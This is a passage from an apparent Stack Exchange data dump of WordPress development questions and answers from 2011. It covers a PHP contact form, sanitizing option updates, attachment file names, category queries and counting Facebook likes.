&amp;lt;p&amp;gt;Your Name:&amp;lt;/p&amp;gt;&#xA;                &amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;name&quot; id=&quot;name&quot; /&amp;gt;&amp;lt;/td&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&#xA;                &amp;lt;td&amp;gt;&#xA;                &amp;lt;p&amp;gt;E-mail:&amp;lt;/p&amp;gt;&#xA;                &amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;email&quot; id=&quot;email&quot; /&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td colspan=&quot;2&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&#xA;                &amp;lt;td&amp;gt;&#xA;                &amp;lt;p&amp;gt;Telephone:&amp;lt;/p&amp;gt;&#xA;                &amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;tel&quot; id=&quot;tel&quot; /&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td colspan=&quot;2&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;/tbody&amp;gt;&#xA;    &amp;lt;/table&amp;gt;&#xA;&#xA;    &amp;lt;table border=&quot;0&quot; style=&quot;float:left;&quot; width=&quot;450&quot;&amp;gt;&#xA;        &amp;lt;tbody&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&#xA;                &amp;lt;td valign=&quot;top&quot;&amp;gt;&amp;lt;p style=&quot;margin-left:42px;margin-right:10px;margin-top:7px;&quot;&amp;gt;Enquiry:&amp;lt;/p&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;&amp;lt;textarea name=&quot;enquiry&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;/td&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&#xA;                &amp;lt;td colspan=&quot;2&quot;&amp;gt;&amp;lt;button class=&quot;blue medium awesome awesomeforward&quot; type=&quot;submit&quot; name=&quot;submit&quot;&amp;gt;Send message&amp;lt;/button&amp;gt;&amp;lt;/td&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;/tbody&amp;gt;&#xA;    &amp;lt;/table&amp;gt;        &#xA;&#xA;&amp;lt;? if(isset($_POST['submit'])) { &#xA;&#xA;$to = &quot;rob@teamworksdesign.com&quot;;&#xA;$subject = &quot;Teamworks contact enquiry&quot;;&#xA;$companyname_field = $_POST['companyname'];&#xA;$name_field = $_POST['name'];&#xA;$email_field = $_POST['email'];&#xA;$tel_field = $_POST['tel'];&#xA;$enquiry_field = $_POST['enquiry'];&#xA;&#xA;&#xA;$body = &quot;Hello Teamworks,\n\n You have an enquiry from the website, please see the details below:\n\n Name: $name_field\n Company Name: $companyname_field\n E-Mail: $email_field\n Tel: $tel_field\n Message:\n $enquiry_field\n\n Please reply to the enquiry asap.\n\n Kind Regards \n The Teamworks Website&quot;;&#xA;&#xA;mail($to, $subject, $body);&#xA;&#xA;echo &quot;&amp;lt;/br&amp;gt;Thank you for getting in touch, we will contact you shortly.&quot;;&#xA;&#xA;} ?&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5415" LastActivityDate="2011-06-15T14:11:47.043" Title="Contact form redirecting to page not found on send" Tags="&lt;php&gt;&lt;contact&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" />
  <row Id="20074" PostTypeId="1" AcceptedAnswerId="20080" CreationDate="2011-06-15T13:27:33.510" Score="1" ViewCount="213" Body="&lt;p&gt;How would I go about not letting empty data into wordpress?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;foreach($_POST['eirepanel_inline_ads_options_name'] as  $post_eirepanel_inline_ads_options_name):&#xA;if(empty($post_eirepanel_inline_ads_options_name)): &#xA;    echo 'empty';&#xA;else: &#xA;    update_option('eirepanel_inline_ads_options', $_POST);&#xA;    $eirepanel_inline_ads_options = get_option('eirepanel_inline_ads_options');&#xA;endif; &#xA;endforeach;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1464" LastActivityDate="2011-06-15T15:40:14.923" Title="WordPress: update_option, don't update empty options?" Tags="&lt;theme-options&gt;&lt;update&gt;" AnswerCount="2" />
  <row Id="20075" PostTypeId="1" CreationDate="2011-06-15T13:35:47.107" Score="2" ViewCount="147" Body="&lt;p&gt;I would like to have a list of my most liked posts from facebook, and place it in the sidebar.  Is there a way for doing it? (and if so, how?)&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2011-06-15T21:54:21.643" Title="Adding a &quot;most liked post&quot; box, based on facebook ranking?" Tags="&lt;facebook&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="20076" PostTypeId="2" ParentId="18226" CreationDate="2011-06-15T13:59:55.177" Score="0" ViewCount="" Body="&lt;p&gt;I followed this guide to insert the feed in the post: &lt;a href=&quot;http://digwp.com/2009/11/import-and-display-feeds-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://digwp.com/2009/11/import-and-display-feeds-in-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My only problem is that I need to strip away the HTML from the feed.&lt;/p&gt;&#xA;" OwnerUserId="2188" LastActivityDate="2011-06-15T13:59:55.177" />
  <row Id="20077" PostTypeId="1" AcceptedAnswerId="20101" CreationDate="2011-06-15T14:03:06.580" Score="1" ViewCount="270" Body="&lt;p&gt;I have Press Release Section on my page where i would like to be able to add documents pdf, ms doc's etc. &#xA;Every time when i add new document to a post I would like download button to appear so user will be able to download that document. Could anyone point me at right direction or maybe there is a plugin existing which does that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks,&lt;/p&gt;&#xA;" OwnerUserId="4986" LastActivityDate="2011-06-15T16:51:02.053" Title="Downloadable Documents" Tags="&lt;posts&gt;&lt;media-library&gt;&lt;media-upload&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="20078" PostTypeId="1" AcceptedAnswerId="20098" CreationDate="2011-06-15T14:06:14.370" Score="2" ViewCount="134" Body="&lt;p&gt;I have several custom taxonomies and within two of those ( Company Categories and Photographer Categories ) I have a term that is similar. The Company Category called Boudoir and the Photographer category called Boudoir Photographers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I created the Boudoir Photographer term in the Photographer Categories it renamed the Boudoir term in the Company Categories to Boudoir Photography. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why did this happen? The number of posts for either taxonomy term doe snot change, only its name and the slug. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanx in advance!&lt;/p&gt;&#xA;" OwnerUserId="5391" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-06-15T16:24:36.280" LastActivityDate="2011-06-15T16:28:12.970" Title="Why does WP rename similar &quot;term name&quot;-slugs in separate taxonomies?" Tags="&lt;custom-taxonomy&gt;&lt;slug&gt;&lt;terms&gt;" AnswerCount="1" />
  <row Id="20079" PostTypeId="2" ParentId="20073" CreationDate="2011-06-15T14:11:47.043" Score="4" ViewCount="" Body="&lt;p&gt;When dealing with forms you need to make sure that your form doesn't have a few specific filed names like: name,day,month,year and I'm sure that a few more, so make your form fields names more specific like: contact_name,contact_day,contact_month,contact_year.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in your case change &lt;code&gt;name=&quot;name&quot;&lt;/code&gt; to anything else.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-15T14:11:47.043" />
  <row Id="20080" PostTypeId="2" ParentId="20074" CreationDate="2011-06-15T14:16:27.370" Score="3" ViewCount="" Body="&lt;p&gt;More importantly, you should not let *untrusted, unsanitized $_POST data* into WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I think the issue is that you're updating the option with the entire $_POST data, instead of the appropriate array key:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;update_option('eirepanel_inline_ads_options', $_POST);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should probably be something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;update_option('eirepanel_inline_ads_options', $_POST['eirepanel_inline_ads_options_name']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Are your Plugin options discrete (one DB entry per option), or an options array?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you're using an options array, the correct approach would be:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Define an array to hold the &lt;code&gt;$_POST&lt;/code&gt; data ( &lt;code&gt;$input = array()&lt;/code&gt; )&lt;/li&gt;&#xA;&lt;li&gt;Define an array to get the current settings from the DB  ( &lt;code&gt;$valid_input = array()&lt;/code&gt; )&lt;/li&gt;&#xA;&lt;li&gt;Sanitize the &lt;code&gt;$_POST&lt;/code&gt; data&lt;/li&gt;&#xA;&lt;li&gt;Update the &lt;code&gt;$valid_data&lt;/code&gt; array with the sanitized &lt;code&gt;$input&lt;/code&gt; array&lt;/li&gt;&#xA;&lt;li&gt;Pass the updated &lt;code&gt;$valid_data&lt;/code&gt; back to the DB&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$input = ( isset( $_POST ) ? $_POST : false );&#xA;$valid_input = get_option( 'eirepanel_inline_ads_options' );&#xA;&#xA;foreach ( $input as $key ) {&#xA;   // sanitize data here&#xA;}&#xA;&#xA;$valid_input = array_merge( $valid_input, $input );&#xA;&#xA;update_option( 'eirepanel_inline_ads_options', $valid_input );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just quick and dirty, but should give you an idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also: using the Settings API would be especially helpful here.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-06-15T15:40:14.923" LastActivityDate="2011-06-15T15:40:14.923" CommentCount="2" />
  <row Id="20081" PostTypeId="1" AcceptedAnswerId="20087" CreationDate="2011-06-15T14:18:32.893" Score="2" ViewCount="219" Body="&lt;p&gt;I'm using this code to list the image attachments of a post:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      &amp;lt;select name=&quot;chb_homes_for_sale_specifics_floor_plan&quot; style=&quot;width:100%;&quot;&amp;gt;&#xA;        &amp;lt;option value=&quot;&quot;&amp;gt;Select&amp;lt;/option&amp;gt;&#xA;        &amp;lt;?php&#xA;        $args = array(&#xA;            'numberposts'     =&amp;gt; -1,&#xA;            'orderby'         =&amp;gt; 'menu_order',&#xA;            'order'           =&amp;gt; 'ASC',&#xA;            'post_type'       =&amp;gt; 'attachment',&#xA;            'post_parent'     =&amp;gt; $post-&amp;gt;ID,&#xA;            'post_mime_type' =&amp;gt; 'image'&#xA;        );&#xA;        $image = get_posts($args);&#xA;        if($image) {&#xA;            foreach($image as $key =&amp;gt; $data) : ?&amp;gt;&#xA;&#xA;                &amp;lt;option value=&quot;&amp;lt;?php echo $data-&amp;gt;ID; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $data-&amp;gt;post_title; ?&amp;gt;&amp;lt;/option&amp;gt;&#xA;&#xA;            &amp;lt;?php endforeach;&#xA;        }&#xA;        ?&amp;gt;&#xA;      &amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But what I'm showing currently is the attachment &lt;code&gt;post_title&lt;/code&gt; but I want to show the file name instead. I could maybe use get attachment URL then parse the URL to get the file name but was wondering if there is a ready made way in WordPress to get the file name.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-06-15T14:59:01.917" Title="How to get attachment file name not attachment URL" Tags="&lt;attachments&gt;&lt;get-posts&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="20082" PostTypeId="2" ParentId="20044" CreationDate="2011-06-15T14:19:30.203" Score="2" ViewCount="" Body="&lt;p&gt;This line has wrong syntax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( is_singular() ) wp_enqueue_script ( 'comment-reply'); wp_head() ; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The call to &lt;code&gt;wp_head()&lt;/code&gt; should not be on the same line as the conditional for the comment-reply script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change it to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;// Conditional to determine if comment-reply form script should be included&#xA;if ( is_singular() ) wp_enqueue_script ( 'comment-reply'); &#xA;// Fire the `wp_head` hook, which should happen always, on every pageload&#xA;wp_head(); &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-15T14:19:30.203" CommentCount="1" />
  <row Id="20084" PostTypeId="1" CreationDate="2011-06-15T14:32:50.657" Score="1" ViewCount="100" Body="&lt;p&gt;I am trying to post values in a form into 2 different urls. Is this possible?&#xA;Basically i want to have a form send the form optin values into aweber and send a email with the filled in values. I am on wordpress site but can have a php or html page if this is not possible using wordpress. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I currently have the aweber form to collect the info would like to send these values as email. Is this possible using any plugin or any hack&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Prady&lt;/p&gt;&#xA;" OwnerUserId="5682" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-06-15T15:46:36.577" LastActivityDate="2011-06-15T16:25:34.483" Title="How to sent one form values to 2 different sites in wordpress" Tags="&lt;email&gt;&lt;forms&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="20085" PostTypeId="2" ParentId="20043" CreationDate="2011-06-15T14:45:08.497" Score="3" ViewCount="" Body="&lt;p&gt;Here is the fixed version of your code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class vsetup {&#xA;     function __construct() {&#xA;          register_activation_hook(__FILE__,array($this,'activate'));&#xA;          add_action( 'init', array( $this, 'create_taxonomies' ) );&#xA;     } &#xA;     function activate() {&#xA;          $this-&amp;gt;create_taxonomies();&#xA;          wp_insert_term('Action','genre');&#xA;          wp_insert_term('Adventure','genre');&#xA;     }&#xA;     function create_taxonomies() {&#xA;           $genre_args = array( &#xA;            'hierarchical' =&amp;gt; true,  &#xA;                'labels' =&amp;gt; array(&#xA;            'name'=&amp;gt; _x('Genres', 'taxonomy general name' ),&#xA;            'singular_name' =&amp;gt; _x('Genre', 'taxonomy singular name'),&#xA;            'search_items' =&amp;gt; __('Search Genres'),&#xA;            'popular_items' =&amp;gt; __('Popular Genres'),&#xA;            'all_items' =&amp;gt; __('All Genres'),&#xA;            'edit_item' =&amp;gt; __('Edit Genre'),&#xA;            'edit_item' =&amp;gt; __('Edit Genre'),&#xA;            'update_item' =&amp;gt; __('Update Genre'),&#xA;            'add_new_item' =&amp;gt; __('Add New Genre'),&#xA;            'new_item_name' =&amp;gt; __('New Genre Name'),&#xA;            'separate_items_with_commas' =&amp;gt; __('Seperate Genres with Commas'),&#xA;            'add_or_remove_items' =&amp;gt; __('Add or Remove Genres'),&#xA;            'choose_from_most_used' =&amp;gt; __('Choose from Most Used Genres')&#xA;            ),  &#xA;                'query_var' =&amp;gt; true,  &#xA;            'rewrite' =&amp;gt; array('slug' =&amp;gt;'genre')        &#xA;           );&#xA;           register_taxonomy('genre', 'post',$genre_args);&#xA;     }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And don't forget to create the object/instance of the vsetup class i.e &lt;code&gt;new vsetup()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Huh! Forgot to remove the debug statement.&lt;/p&gt;&#xA;" OwnerUserId="5337" LastEditorUserId="5337" LastEditorDisplayName="" LastEditDate="2011-06-15T14:54:53.840" LastActivityDate="2011-06-15T14:54:53.840" CommentCount="2" />
  <row Id="20087" PostTypeId="2" ParentId="20081" CreationDate="2011-06-15T14:59:01.917" Score="6" ViewCount="" Body="&lt;p&gt;I would strongly advise against using &lt;code&gt;$post-&amp;gt;guid&lt;/code&gt; - WordPress now generates them in the form;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;http:/example.com/?attachment_id=ID&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Use the same method that many of the attachment-related functions use;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$filename = basename ( get_attached_file( $data-&amp;gt;ID ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-06-15T14:59:01.917" CommentCount="1" />
  <row Id="20088" PostTypeId="1" AcceptedAnswerId="20097" CreationDate="2011-06-15T15:27:05.230" Score="1" ViewCount="41" Body="&lt;p&gt;I created a self-hosted WordPress blog (on Dreamhost) several years ago. I've never truly been happy with the name and URL/domain of the blog, and I've decided that I want to change it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I'd like to do:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Register the new domain name. (Say www.newblog.com for example.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Redirect traffic from the old domain name (www.oldblog.com) to the new one (www.newblog.com).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Begin using www.newblog.com as the new web address.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'll be staying at the same web host through all this. I know there are lots of smaller steps I need to take in here, so I'd appreciate it if someone could help me fill in the blanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6216" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-06-16T08:48:24.700" LastActivityDate="2011-06-16T08:48:24.700" Title="Changing Wordpress blog name and web address" Tags="&lt;url-rewriting&gt;&lt;domain&gt;&lt;site-url&gt;" AnswerCount="1" />
  <row Id="20089" PostTypeId="2" ParentId="20074" CreationDate="2011-06-15T15:35:22.620" Score="1" ViewCount="" Body="&lt;p&gt;Following on from your response to @Chip's suggestions, I'd advise you name your inputs like so;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;eire[option_key_name]&quot; value=&quot;hello world&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;eire[option_key_another]&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;eire[nasty_key_possibility]&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your code;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$options = shortcode_atts( array(&#xA;    'option_key_name' =&amp;gt; 'default value',&#xA;    'option_key_another' =&amp;gt; 'foobar'&#xA;), ( array ) $_POST['eire'] );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$options&lt;/code&gt; will now only contain the explicit keys passed to &lt;code&gt;shortcode_atts()&lt;/code&gt;, with the data from &lt;code&gt;$_POST&lt;/code&gt; overriding the defaults.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array (&#xA;    option_key_name =&amp;gt; hello world,&#xA;    option_key_another' =&amp;gt; foobar&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll see I've use &lt;a href=&quot;http://www.johnrockefeller.net/html-input-forms-sending-in-an-array-in-php/&quot; rel=&quot;nofollow&quot;&gt;input array names&lt;/a&gt;, so as to namespace your &lt;code&gt;$_POST&lt;/code&gt; data (as opposed to namespacing every option input name, then having to loop over them and remove it before saving).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note: This only strips out keys we don't want&lt;/strong&gt;. You'll probably want to go further and sanitize the individual values, dependent on their data type. If they're all the same, you could map a callback to the array and have done with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, it they're all plain text fields;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$options = array_map( 'wp_strip_all_tags', $options );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-06-15T15:35:22.620" />
  <row Id="20090" PostTypeId="2" ParentId="19933" CreationDate="2011-06-15T15:45:36.047" Score="1" ViewCount="" Body="&lt;p&gt;Don't forget that you'll need &lt;em&gt;not only&lt;/em&gt; the &lt;code&gt;CUSTOM_USER_(META_)TABLE&lt;/code&gt; pointing to the main sites user table in the wp-config.php of your child site, but &lt;em&gt;also&lt;/em&gt; the &lt;code&gt;AUTH_KEY, SECURE_AUTH_KEY, LOGGED_IN_KEY, NONCE_KEY&lt;/code&gt; constants should be exactly the same as on your main site. This will avoid generating new passwords. Should work out of the box.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-15T15:45:36.047" CommentCount="1" />
  <row Id="20091" PostTypeId="1" CreationDate="2011-06-15T15:50:59.667" Score="1" ViewCount="98" Body="&lt;p&gt;I'm trying to only display posts from a certain category in a widget. I've tried it in a few different ways but it is still showing posts from all categories. Here's my code at the moment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$posts = get_posts(array ('category'=&amp;gt;6, 'numberposts'=&amp;gt;$number, 'order'=&amp;gt;'DESC', 'orderby'=&amp;gt;'date'));&#xA;        foreach ($posts as $post){&#xA;            setup_postdata($post);....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3570" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-06-15T16:02:39.357" LastActivityDate="2011-06-15T17:02:40.063" Title="Trying to only display 1 category using get_posts" Tags="&lt;categories&gt;&lt;get-posts&gt;" AnswerCount="2" />
  <row Id="20092" PostTypeId="2" ParentId="20091" CreationDate="2011-06-15T16:00:49.690" Score="1" ViewCount="" Body="&lt;p&gt;Did you try the example given in the codex?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;global $post;&#xA;$args = array( 'numberposts' =&amp;gt; $number, 'category' =&amp;gt; 6, 'order' =&amp;gt; 'ASC', 'orderby' =&amp;gt; 'post_date'  );&#xA;$myposts = get_posts( $args );&#xA;foreach( $myposts as $post ) :  setup_postdata($post); ?&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This a modified version that should suit your needs. Are you also certain that this category exists?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $temp = $wp_query; $wp_query= null; $wp_query = new WP_Query('showposts=' . $numberposts . '&amp;amp;cat=6&amp;amp;orderby=date&amp;amp;order=ASC'); ?&amp;gt;&#xA;&amp;lt;?php while ($wp_query-&amp;gt;have_posts()) : $wp_query-&amp;gt;the_post(); ?&amp;gt;&#xA;        &amp;lt;!-- your content --&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;?php $wp_query = null; $wp_query = $temp; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1997" LastEditorUserId="1997" LastEditorDisplayName="" LastEditDate="2011-06-15T17:02:40.063" LastActivityDate="2011-06-15T17:02:40.063" CommentCount="2" />
  <row Id="20094" PostTypeId="2" ParentId="20091" CreationDate="2011-06-15T16:23:36.013" Score="0" ViewCount="" Body="&lt;p&gt;I guess you got 2 loops and maybe one before. Try to use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_reset_query&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_reset_query()&lt;/code&gt;&lt;/a&gt; before or &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/rewind_posts&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;rewind_posts()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-15T16:23:36.013" CommentCount="2" />
  <row Id="20095" PostTypeId="2" ParentId="20075" CreationDate="2011-06-15T16:25:19.593" Score="3" ViewCount="" Body="&lt;p&gt;A quick google &lt;a href=&quot;http://www.google.co.uk/search?q=facebook%20api%20most%20liked%20pages&quot; rel=&quot;nofollow&quot;&gt;brought up these&lt;/a&gt;, which led me to &lt;a href=&quot;http://forums.digitalpoint.com/showthread.php?t=1865119#post14651844&quot; rel=&quot;nofollow&quot;&gt;this post&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;&lt;p&gt;You can access the site's object in the Graph and get the current &quot;Fan&#xA;  count&quot;. i.e.&#xA;  &lt;a href=&quot;http://graph.facebook.com/http://google.com&quot; rel=&quot;nofollow&quot;&gt;http://graph.facebook.com/http://google.com&lt;/a&gt;.&#xA;  &lt;strike&gt;Note that you will need an oauth token&#xA;  to do this.&lt;/strike&gt; This is definitely the&#xA;  most accurate way of getting a page's&#xA;  Likes.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;You can also use the javascript SDK to detect when a user clicks the Like&#xA;  button and then make an ajax call in&#xA;  the background to a php page that adds&#xA;  to a counter or does whatever you want&#xA;  it to. You can also detect when a user&#xA;  Unlikes a page too.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In other words, 1) queries Facebook for the number of likes, 2) suggests to hook into the 'liking' action, counting &amp;amp; logging the 'likes' on your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt;Either way you're going to need to get stuck in to the &lt;a href=&quot;http://developers.facebook.com/docs/&quot; rel=&quot;nofollow&quot;&gt;Facebook API&lt;/a&gt;. If you go for 1), you'll also need the &lt;a href=&quot;https://github.com/facebook/php-sdk&quot; rel=&quot;nofollow&quot;&gt;PHP SDK&lt;/a&gt;.&lt;/strike&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd say 1) would be the better of the two, since it's non-JavaScript dependent, and getting 'likes' from other sources won't affect it (i.e. people liking your page using means other than the button on &lt;em&gt;your&lt;/em&gt; site).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since it looks like you can only query one page (URL) at a time (unless a Facebook guru can correct me?), you'd need some way of frequently caching the like counts of all your posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps a &lt;code&gt;wp_cron&lt;/code&gt; function that continually loops over say, 20 posts, every hour (check Facebook usage terms), and updates the like count as a post meta entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get the 'most liked' posts, you could then simply query posts that have the meta key, and order by the meta value.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;new WP_Query( array( 'meta_key' =&amp;gt; 'like_count', 'orderby' =&amp;gt; 'meta_value_num', 'posts_per_page' =&amp;gt; 5 ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastEditorUserId="1685" LastEditorDisplayName="" LastEditDate="2011-06-15T21:54:21.643" LastActivityDate="2011-06-15T21:54:21.643" />
